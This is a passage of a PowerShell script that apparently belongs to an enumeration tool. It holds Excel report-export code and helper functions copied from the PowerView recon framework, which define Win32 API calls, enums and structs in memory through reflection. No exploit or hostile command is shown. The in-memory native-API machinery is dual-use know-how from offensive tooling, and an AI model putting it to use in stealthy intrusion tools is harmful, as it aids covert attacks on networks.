720 $worksheet = $worksheets.Item($CSVSheet)
721 $worksheet.Name = $SheetName
722
723 # Define the connection string and the starting cell for the data
724 $TxtConnector = ("TEXT;" + $CSVFullPath)
725 $CellRef = $worksheet.Range("A1")
726
727 # Build, use and remove the text file connector
728 $Connector = $worksheet.QueryTables.add($TxtConnector,$CellRef)
729 $worksheet.QueryTables.item($Connector.name).TextFileCommaDelimiter = $True
730 $worksheet.QueryTables.item($Connector.name).TextFileParseType = 1
731 $Null = $worksheet.QueryTables.item($Connector.name).Refresh()
732 $worksheet.QueryTables.item($Connector.name).delete()
733
734 # Autofit the columns, freeze the top row
735 $worksheet.UsedRange.EntireColumn.ColumnWidth = 15
736 #$worksheet.Application.ActiveWindow.SplitRow = 1
737 #$worksheet.Application.ActiveWindow.FreezePanes = $true
738
739 # Set color & border to top header row
740 $Selection = $worksheet.cells.Item(1,1).EntireRow
741 $Selection.Interior.ColorIndex = 37
742 $Null = $Selection.BorderAround(1)
743 $Selection.Font.Bold=$True
744
745 $CSVSheet++
746 }
747
748 # Save workbook and close Excel
749 $workbooks.SaveAs($XLOutput,51)
750 $workbooks.Saved = $true
751 $workbooks.Close()
752 $Null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($workbooks)
753 $Excel.Quit()
754 $Null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel)
755 $CSVSheet--
756 Write-Host "$CSVSheet Sheet(s) Processed" -ForegroundColor Green
757
758 }catch{Write-Host "Error: Is Excel Installed?" -ForegroundColor Red}
759}
760
761
762
763##########
764#
765# THESE ARE FUNCTIONS TAKEN DIRECTLY FROM POWERVIEW
766# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
767# Author: Will Schroeder (@harmj0y)
768#
769##########
770
771
772function New-InMemoryModule {
773
774
775 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
776 [CmdletBinding()]
777 Param (
778 [Parameter(Position = 0)]
779 [ValidateNotNullOrEmpty()]
780 [String]
781 $ModuleName = [Guid]::NewGuid().ToString()
782 )
783
784 $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
785 $LoadedAssemblies = $AppDomain.GetAssemblies()
786
787 foreach ($Assembly in $LoadedAssemblies) {
788 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
789 return $Assembly
790 }
791 }
792
793 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
794 $Domain = $AppDomain
795 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
796 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
797
798 return $ModuleBuilder
799}
800
801function func {
802 Param (
803 [Parameter(Position = 0, Mandatory = $True)]
804 [String]
805 $DllName,
806
807 [Parameter(Position = 1, Mandatory = $True)]
808 [string]
809 $FunctionName,
810
811 [Parameter(Position = 2, Mandatory = $True)]
812 [Type]
813 $ReturnType,
814
815 [Parameter(Position = 3)]
816 [Type[]]
817 $ParameterTypes,
818
819 [Parameter(Position = 4)]
820 [Runtime.InteropServices.CallingConvention]
821 $NativeCallingConvention,
822
823 [Parameter(Position = 5)]
824 [Runtime.InteropServices.CharSet]
825 $Charset,
826
827 [String]
828 $EntryPoint,
829
830 [Switch]
831 $SetLastError
832 )
833
834 $Properties = @{
835 DllName = $DllName
836 FunctionName = $FunctionName
837 ReturnType = $ReturnType
838 }
839
840 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
841 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
842 if ($Charset) { $Properties['Charset'] = $Charset }
843 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
844 if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
845
846 New-Object PSObject -Property $Properties
847}
848
849function Add-Win32Type {
850
851 [OutputType([Hashtable])]
852 Param(
853 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
854 [String]
855 $DllName,
856
857 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
858 [String]
859 $FunctionName,
860
861 [Parameter(ValueFromPipelineByPropertyName=$True)]
862 [String]
863 $EntryPoint,
864
865 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
866 [Type]
867 $ReturnType,
868
869 [Parameter(ValueFromPipelineByPropertyName=$True)]
870 [Type[]]
871 $ParameterTypes,
872
873 [Parameter(ValueFromPipelineByPropertyName=$True)]
874 [Runtime.InteropServices.CallingConvention]
875 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
876
877 [Parameter(ValueFromPipelineByPropertyName=$True)]
878 [Runtime.InteropServices.CharSet]
879 $Charset = [Runtime.InteropServices.CharSet]::Auto,
880
881 [Parameter(ValueFromPipelineByPropertyName=$True)]
882 [Switch]
883 $SetLastError,
884
885 [Parameter(Mandatory=$True)]
886 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
887 $Module,
888
889 [ValidateNotNull()]
890 [String]
891 $Namespace = ''
892 )
893
894 BEGIN
895 {
896 $TypeHash = @{}
897 }
898
899 PROCESS
900 {
901 if ($Module -is [Reflection.Assembly])
902 {
903 if ($Namespace)
904 {
905 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
906 }
907 else
908 {
909 $TypeHash[$DllName] = $Module.GetType($DllName)
910 }
911 }
912 else
913 {
914 # Define one type for each DLL
915 if (!$TypeHash.ContainsKey($DllName))
916 {
917 if ($Namespace)
918 {
919 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
920 }
921 else
922 {
923 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
924 }
925 }
926
927 $Method = $TypeHash[$DllName].DefineMethod(
928 $FunctionName,
929 'Public,Static,PinvokeImpl',
930 $ReturnType,
931 $ParameterTypes)
932
933 # Make each ByRef parameter an Out parameter
934 $i = 1
935 foreach($Parameter in $ParameterTypes)
936 {
937 if ($Parameter.IsByRef)
938 {
939 [void] $Method.DefineParameter($i, 'Out', $null)
940 }
941
942 $i++
943 }
944
945 $DllImport = [Runtime.InteropServices.DllImportAttribute]
946 $SetLastErrorField = $DllImport.GetField('SetLastError')
947 $CallingConventionField = $DllImport.GetField('CallingConvention')
948 $CharsetField = $DllImport.GetField('CharSet')
949 $EntryPointField = $DllImport.GetField('EntryPoint')
950 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
951
952 if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
953
954 # Equivalent to C# version of [DllImport(DllName)]
955 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
956 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
957 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
958 [Reflection.FieldInfo[]] @($SetLastErrorField,
959 $CallingConventionField,
960 $CharsetField,
961 $EntryPointField),
962 [Object[]] @($SLEValue,
963 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
964 ([Runtime.InteropServices.CharSet] $Charset),
965 $ExportedFuncName))
966
967 $Method.SetCustomAttribute($DllImportAttribute)
968 }
969 }
970
971 END
972 {
973 if ($Module -is [Reflection.Assembly])
974 {
975 return $TypeHash
976 }
977
978 $ReturnTypes = @{}
979
980 foreach ($Key in $TypeHash.Keys)
981 {
982 $Type = $TypeHash[$Key].CreateType()
983
984 $ReturnTypes[$Key] = $Type
985 }
986
987 return $ReturnTypes
988 }
989}
990
991function psenum {
992<#
993.SYNOPSIS
994
995Creates an in-memory enumeration for use in your PowerShell session.
996
997Author: Matthew Graeber (@mattifestation)
998License: BSD 3-Clause
999Required Dependencies: None
1000Optional Dependencies: None
1001
1002.DESCRIPTION
1003
1004The 'psenum' function facilitates the creation of enums entirely in
1005memory using as close to a "C style" as PowerShell will allow.
1006
1007.PARAMETER Module
1008
1009The in-memory module that will host the enum. Use
1010New-InMemoryModule to define an in-memory module.
1011
1012.PARAMETER FullName
1013
1014The fully-qualified name of the enum.
1015
1016.PARAMETER Type
1017
1018The type of each enum element.
1019
1020.PARAMETER EnumElements
1021
1022A hashtable of enum elements.
1023
1024.PARAMETER Bitfield
1025
1026Specifies that the enum should be treated as a bitfield.
1027
1028.EXAMPLE
1029
1030$Mod = New-InMemoryModule -ModuleName Win32
1031
1032$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
1033 UNKNOWN = 0
1034 NATIVE = 1 # Image doesn't require a subsystem.
1035 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
1036 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
1037 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
1038 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
1039 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
1040 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
1041 EFI_APPLICATION = 10
1042 EFI_BOOT_SERVICE_DRIVER = 11
1043 EFI_RUNTIME_DRIVER = 12
1044 EFI_ROM = 13
1045 XBOX = 14
1046 WINDOWS_BOOT_APPLICATION = 16
1047}
1048
1049.NOTES
1050
1051PowerShell purists may disagree with the naming of this function but
1052again, this was developed in such a way so as to emulate a "C style"
1053definition as closely as possible. Sorry, I'm not going to name it
1054New-Enum. :P
1055#>
1056
1057 [OutputType([Type])]
1058 Param (
1059 [Parameter(Position = 0, Mandatory=$True)]
1060 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
1061 $Module,
1062
1063 [Parameter(Position = 1, Mandatory=$True)]
1064 [ValidateNotNullOrEmpty()]
1065 [String]
1066 $FullName,
1067
1068 [Parameter(Position = 2, Mandatory=$True)]
1069 [Type]
1070 $Type,
1071
1072 [Parameter(Position = 3, Mandatory=$True)]
1073 [ValidateNotNullOrEmpty()]
1074 [Hashtable]
1075 $EnumElements,
1076
1077 [Switch]
1078 $Bitfield
1079 )
1080
1081 if ($Module -is [Reflection.Assembly])
1082 {
1083 return ($Module.GetType($FullName))
1084 }
1085
1086 $EnumType = $Type -as [Type]
1087
1088 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
1089
1090 if ($Bitfield)
1091 {
1092 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
1093 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
1094 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
1095 }
1096
1097 foreach ($Key in $EnumElements.Keys)
1098 {
1099 # Apply the specified enum type to each element
1100 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
1101 }
1102
1103 $EnumBuilder.CreateType()
1104}
1105
1106function field {
1107 Param (
1108 [Parameter(Position = 0, Mandatory=$True)]
1109 [UInt16]
1110 $Position,
1111
1112 [Parameter(Position = 1, Mandatory=$True)]
1113 [Type]
1114 $Type,
1115
1116 [Parameter(Position = 2)]
1117 [UInt16]
1118 $Offset,
1119
1120 [Object[]]
1121 $MarshalAs
1122 )
1123
1124 @{
1125 Position = $Position
1126 Type = $Type -as [Type]
1127 Offset = $Offset
1128 MarshalAs = $MarshalAs
1129 }
1130}
1131
1132function struct {
1133
1134
1135 [OutputType([Type])]
1136 Param (
1137 [Parameter(Position = 1, Mandatory=$True)]
1138 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
1139 $Module,
1140
1141 [Parameter(Position = 2, Mandatory=$True)]
1142 [ValidateNotNullOrEmpty()]
1143 [String]
1144 $FullName,
1145
1146 [Parameter(Position = 3, Mandatory=$True)]
1147 [ValidateNotNullOrEmpty()]
1148 [Hashtable]
1149 $StructFields,
1150
1151 [Reflection.Emit.PackingSize]
1152 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
1153
1154 [Switch]
1155 $ExplicitLayout
1156 )
1157
1158 if ($Module -is [Reflection.Assembly])
1159 {
1160 return ($Module.GetType($FullName))
1161 }
1162
1163 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
1164 Class,
1165 Public,
1166 Sealed,
1167 BeforeFieldInit'
1168
1169 if ($ExplicitLayout)
1170 {
1171 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
1172 }
1173 else
1174 {
1175 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
1176 }
1177
1178 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
1179 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
1180 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
1181
1182 $Fields = New-Object Hashtable[]($StructFields.Count)
1183
1184 # Sort each field according to the orders specified
1185 # Unfortunately, PSv2 doesn't have the luxury of the
1186 # hashtable [Ordered] accelerator.
1187 foreach ($Field in $StructFields.Keys)
1188 {
1189 $Index = $StructFields[$Field]['Position']
1190 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
1191 }
1192
1193 foreach ($Field in $Fields)
1194 {
1195 $FieldName = $Field['FieldName']
1196 $FieldProp = $Field['Properties']
1197
1198 $Offset = $FieldProp['Offset']
1199 $Type = $FieldProp['Type']
1200 $MarshalAs = $FieldProp['MarshalAs']
1201
1202 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
1203
1204 if ($MarshalAs)
1205 {
1206 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
1207 if ($MarshalAs[1])
1208 {
1209 $Size = $MarshalAs[1]
1210 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
1211 $UnmanagedType, $SizeConst, @($Size))
1212 }
1213 else
1214 {
1215 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
1216 }
1217
1218 $NewField.SetCustomAttribute($AttribBuilder)
1219 }
1220
1221 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
1222 }
1223
1224 # Make the struct aware of its own size.
1225 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
1226 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
1227 'Public, Static',
1228 [Int],
1229 [Type[]] @())
1230 $ILGenerator = $SizeMethod.GetILGenerator()
1231 # Thanks for the help, Jason Shirk!
1232 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
1233 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
1234 [Type].GetMethod('GetTypeFromHandle'))
1235 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
1236 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
1237 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
1238
1239 # Allow for explicit casting from an IntPtr
1240 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
1241 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
1242 'PrivateScope, Public, Static, HideBySig, SpecialName',
1243 $StructBuilder,
1244 [Type[]] @([IntPtr]))
1245 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
1246 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
1247 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
1248 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
1249 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
1250 [Type].GetMethod('GetTypeFromHandle'))
1251 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
1252 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
1253 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
1254 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
1255
1256 $StructBuilder.CreateType()
1257}
1258
1259Function New-DynamicParameter {
1260<#
1261.SYNOPSIS
1262
1263Helper function to simplify creating dynamic parameters.
1264
1265 Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.
1266 Originally released under the Microsoft Public License (Ms-PL).
1267
1268.DESCRIPTION
1269
1270Helper function to simplify creating dynamic parameters.
1271
1272Example use cases:
1273 Include parameters only if your environment dictates it
1274 Include parameters depending on the value of a user-specified parameter
1275 Provide tab completion and intellisense for parameters, depending on the environment
1276
1277Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.
1278 Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
1279 ('Process' for advanced functions) to create those variables.
1280 Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
1281
1282This function has two operating modes:
1283
12841. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,
1285with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.
1286
12872. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.
1288Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,
1289with custom conditions and so on.
1290
1291.NOTES
1292
1293Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
1294 https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
1295 http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/
1296 http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/
1297
1298Credit to BM for alias and type parameters and their handling
1299
1300.PARAMETER Name
1301
1302Name of the dynamic parameter
1303
1304.PARAMETER Type
1305
1306Type for the dynamic parameter. Default is string
1307
1308.PARAMETER Alias
1309
1310If specified, one or more aliases to assign to the dynamic parameter
1311
1312.PARAMETER Mandatory
1313
1314If specified, set the Mandatory attribute for this dynamic parameter
1315
1316.PARAMETER Position
1317
1318If specified, set the Position attribute for this dynamic parameter
1319
1320.PARAMETER HelpMessage
1321
1322If specified, set the HelpMessage for this dynamic parameter
1323
1324.PARAMETER DontShow
1325
1326If specified, set the DontShow for this dynamic parameter.
1327This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
1328http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
1329
1330.PARAMETER ValueFromPipeline
1331
1332If specified, set the ValueFromPipeline attribute for this dynamic parameter
1333
1334.PARAMETER ValueFromPipelineByPropertyName
1335
1336If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
1337
1338.PARAMETER ValueFromRemainingArguments
1339
1340If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
1341
1342.PARAMETER ParameterSetName
1343
1344If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.
1345
1346.PARAMETER AllowNull
1347
1348If specified, set the AllowNull attribute of this dynamic parameter
1349
1350.PARAMETER AllowEmptyString
1351
1352If specified, set the AllowEmptyString attribute of this dynamic parameter
1353
1354.PARAMETER AllowEmptyCollection
1355
1356If specified, set the AllowEmptyCollection attribute of this dynamic parameter
1357
1358.PARAMETER ValidateNotNull
1359
1360If specified, set the ValidateNotNull attribute of this dynamic parameter
1361
1362.PARAMETER ValidateNotNullOrEmpty
1363
1364If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
1365
1366.PARAMETER ValidateRange
1367
1368If specified, set the ValidateRange attribute of this dynamic parameter
1369
1370.PARAMETER ValidateLength
1371
1372If specified, set the ValidateLength attribute of this dynamic parameter
1373
1374.PARAMETER ValidatePattern
1375
1376If specified, set the ValidatePattern attribute of this dynamic parameter
1377
1378.PARAMETER ValidateScript
1379
1380If specified, set the ValidateScript attribute of this dynamic parameter
1381
1382.PARAMETER ValidateSet
1383
1384If specified, set the ValidateSet attribute of this dynamic parameter
1385
1386.PARAMETER Dictionary
1387
1388If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.
1389Appropriate for custom dynamic parameters creation.
1390
1391If not specified, create and return a RuntimeDefinedParameterDictionary
1392Appropriate for a simple dynamic parameter creation.
1393#>
1394
1395 [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
1396 Param (
1397 [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1398 [ValidateNotNullOrEmpty()]
1399 [string]$Name,
1400
1401 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1402 [System.Type]$Type = [int],
1403
1404 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1405 [string[]]$Alias,
1406
1407 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1408 [switch]$Mandatory,
1409
1410 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1411 [int]$Position,
1412
1413 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1414 [string]$HelpMessage,
1415
1416 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1417 [switch]$DontShow,
1418
1419 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1420 [switch]$ValueFromPipeline,
1421
1422 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1423 [switch]$ValueFromPipelineByPropertyName,
1424
1425 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1426 [switch]$ValueFromRemainingArguments,
1427
1428 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1429 [string]$ParameterSetName = '__AllParameterSets',
1430
1431 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1432 [switch]$AllowNull,
1433
1434 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1435 [switch]$AllowEmptyString,
1436
1437 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1438 [switch]$AllowEmptyCollection,
1439
1440 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1441 [switch]$ValidateNotNull,
1442
1443 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1444 [switch]$ValidateNotNullOrEmpty,
1445
1446 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1447 [ValidateCount(2,2)]
1448 [int[]]$ValidateCount,
1449
1450 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1451 [ValidateCount(2,2)]
1452 [int[]]$ValidateRange,
1453
1454 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1455 [ValidateCount(2,2)]
1456 [int[]]$ValidateLength,
1457
1458 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1459 [ValidateNotNullOrEmpty()]
1460 [string]$ValidatePattern,
1461
1462 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1463 [ValidateNotNullOrEmpty()]
1464 [scriptblock]$ValidateScript,
1465
1466 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1467 [ValidateNotNullOrEmpty()]
1468 [string[]]$ValidateSet,
1469
1470 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
1471 [ValidateNotNullOrEmpty()]
1472 [ValidateScript({
1473 if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
1474 {
1475 Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
1476 }
1477 $true
1478 })]
1479 $Dictionary = $false,
1480
1481 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
1482 [switch]$CreateVariables,
1483
1484 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
1485 [ValidateNotNullOrEmpty()]
1486 [ValidateScript({
1487 # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
1488 # so one can't use PowerShell's '-is' operator to validate type.
1489 if($_.GetType().Name -notmatch 'Dictionary') {
1490 Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
1491 }
1492 $true
1493 })]
1494 $BoundParameters
1495 )
1496
1497 Begin {
1498 $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
1499 function _temp { [CmdletBinding()] Param() }
1500 $CommonParameters = (Get-Command _temp).Parameters.Keys
1501 }
1502
1503 Process {
1504 if($CreateVariables) {
1505 $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
1506 ForEach($Parameter in $BoundKeys) {
1507 if ($Parameter) {
1508 Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
1509 }
1510 }
1511 }
1512 else {
1513 $StaleKeys = @()
1514 $StaleKeys = $PSBoundParameters.GetEnumerator() |
1515 ForEach-Object {
1516 if($_.Value.PSobject.Methods.Name -match '^Equals$') {
1517 # If object has Equals, compare bound key and variable using it
1518 if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
1519 $_.Key
1520 }
1521 }
1522 else {
1523 # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
1524 if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
1525 $_.Key
1526 }
1527 }
1528 }
1529 if($StaleKeys) {
1530 $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
1531 }
1532
1533 # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
1534 $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |
1535 # Find parameters that are belong to the current parameter set
1536 Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
1537 Select-Object -ExpandProperty Key |
1538 # Find unbound parameters in the current parameter set
1539 Where-Object { $PSBoundParameters.Keys -notcontains $_ }
1540
1541 # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
1542 $tmp = $null
1543 ForEach ($Parameter in $UnboundParameters) {
1544 $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
1545 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
1546 $PSBoundParameters.$Parameter = $DefaultValue
1547 }
1548 }
1549
1550 if($Dictionary) {
1551 $DPDictionary = $Dictionary
1552 }
1553 else {
1554 $DPDictionary = $InternalDictionary
1555 }
1556
1557 # Shortcut for getting local variables
1558 $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
1559
1560 # Strings to match attributes and validation arguments
1561 $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
1562 $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
1563 $AliasRegex = '^Alias$'
1564 $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
1565
1566 switch -regex ($PSBoundParameters.Keys) {
1567 $AttributeRegex {
1568 Try {
1569 $ParameterAttribute.$_ = . $GetVar
1570 }
1571 Catch {
1572 $_
1573 }
1574 continue
1575 }
1576 }
1577
1578 if($DPDictionary.Keys -contains $Name) {
1579 $DPDictionary.$Name.Attributes.Add($ParameterAttribute)
1580 }
1581 else {
1582 $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
1583 switch -regex ($PSBoundParameters.Keys) {
1584 $ValidationRegex {
1585 Try {
1586 $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
1587 $AttributeCollection.Add($ParameterOptions)
1588 }
1589 Catch { $_ }
1590 continue
1591 }
1592 $AliasRegex {
1593 Try {
1594 $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
1595 $AttributeCollection.Add($ParameterAlias)
1596 continue
1597 }
1598 Catch { $_ }
1599 }
1600 }
1601 $AttributeCollection.Add($ParameterAttribute)
1602 $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
1603 $DPDictionary.Add($Name, $Parameter)
1604 }
1605 }
1606 }
1607
1608 End {
1609 if(!$CreateVariables -and !$Dictionary) {
1610 $DPDictionary
1611 }
1612 }
1613}
1614
1615function Export-PowerViewCSV {
1616<#
1617.SYNOPSIS
1618
1619Converts objects into a series of comma-separated (CSV) strings and saves the
1620strings in a CSV file in a thread-safe manner.
1621
1622Author: Will Schroeder (@harmj0y)
1623License: BSD 3-Clause
1624Required Dependencies: None
1625
1626.DESCRIPTION
1627
1628This helper exports an -InputObject to a .csv in a thread-safe manner
1629using a mutex. This is so the various multi-threaded functions in
